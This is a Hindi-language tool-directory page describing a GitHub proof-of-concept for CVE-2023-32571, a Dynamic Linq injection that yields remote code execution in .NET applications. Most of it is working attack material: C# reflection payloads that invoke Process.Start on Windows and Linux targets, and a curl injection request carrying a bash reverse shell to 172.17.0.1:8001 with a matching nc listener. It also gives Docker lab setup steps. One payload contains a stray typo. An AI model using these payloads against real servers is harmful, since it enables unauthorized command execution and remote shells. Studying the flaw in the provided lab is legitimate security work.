Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-32571-POC — CVE-2023-32571 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो रिमोट कोड एक्ज़ीक्यूशन प्राप्त करने के लिए Dynamic Linq इंजेक्शन का प्रदर्शन करता है, साथ ही व्यावहारिक अभ्यास के लिए Docker-आधारित लैब वातावरण भी शामिल है। | Kitploit
उपकरण/GitHubGitHub/vert16x/cve-2023-32571-poc
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंटलैब और अभ्यास
GitHubvert16x/cve-2023-32571-poc

CVE-2023-32571-POC

CVE-2023-32571 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो रिमोट कोड एक्ज़ीक्यूशन प्राप्त करने के लिए Dynamic Linq इंजेक्शन का प्रदर्शन करता है, साथ ही व्यावहारिक अभ्यास के लिए Docker-आधारित लैब वातावरण भी शामिल है।

रिपॉजिटरी देखें
152 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Dynamic Linq इंजेक्शन से RCE - CVE-2023-32571

Dynamic Linq इंजेक्शन से RCE के बारे में (CVE-2023-32571)

हाल ही में, NCC Group के सदस्यों ने Dynamic Linq में एक कमजोरी खोजी है जो हमलावरों को Linq इंजेक्शन के माध्यम से C# फ़ंक्शन कॉल करने की अनुमति देती है, जिससे RCE प्राप्त करना संभव हो जाता है।

Dynamic Linq पर RCE रिपोर्ट के बावजूद, NCC Group के सदस्यों ने किसी कारण से कमांड निष्पादित करने के लिए POC उपलब्ध नहीं कराया।

POC

जैसा कि NCC Group के शोध में कहा गया है, हम "Invoke" के माध्यम से C# विधियों को कॉल कर सकते हैं। इसके साथ, हम "System.Diagnostics.Process.Start" को कॉल कर सकते हैं और सर्वर पर कमांड निष्पादित कर सकते हैं।

हम असेंबली के माध्यम से System.Diagnostics.Process को कॉल करने के लिए "CreateInstanceFromAndUnwrap" विधि का उपयोग कर सकते हैं।

System.AppDomain.CreateInstanceAndUnwrap विधि का उपयोग करने के लिए पेलोड:

"".GetType().Assembly.DefinedTypes.1Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

CreateInstanceAndUnwrap विधि के माध्यम से System.Diagnostics.Process को कॉल करने के लिए पेलोड:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

System.Diagnostics.Process क्लास की विधियों तक पहुँचकर, हम सिस्टम पर कमांड निष्पादित करने के लिए System.Diagnostics.Process.Start विधि का उपयोग कर सकते हैं:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

नोट: ध्यान दें कि पेलोड पहले 3 Start विधियों की खोज करता है और अंतिम को लेता है। मैंने ऐसा इसलिए किया क्योंकि System.Diagnostics.Process में विधियों की सूची में कई Start विधियाँ थीं, और जिसकी हमें आवश्यकता है वह सूची में तीसरी है।

अंतिम पेलोड

Windows लक्ष्य

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Linux लक्ष्य
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

लैब शुरू करने के लिए, निर्देशों का पालन करें

Docker और docker-compose इंस्टॉल करें:

Debian

sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
sudo pacman -Syu && sudo pacman -S docker docker-compose

इस रिपॉजिटरी को क्लोन करें:

git clone https://github.com/Tris0n/CVE-2023-32571-POC

रिपॉजिटरी निर्देशिका में जाएं:
cd CVE-2023-32571-POC

docker-compose चलाएं:
sudo docker-compose up --build

एप्लिकेशन http://localhost:8000/ पर शुरू होता है।

लैब राइटअप

POST विधि के माध्यम से "/api/products" रूट तक पहुँचने पर, हम देखते हैं कि यह उत्पादों की एक सूची लौटाता है:

curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

json में name पैरामीटर भेजकर, हम उत्पादों को फ़िल्टर कर सकते हैं:

curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

कुछ परीक्षणों के बाद, हम देखते हैं कि हम इसे Dynamic Linq क्वेरी में इंजेक्ट करने में सक्षम थे। निम्नलिखित पेलोड भेजकर, हम एक रिवर्स शेल प्राप्त करने में सक्षम थे:

curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

nc -lvp 8001

04

टूल डाउनलोड करें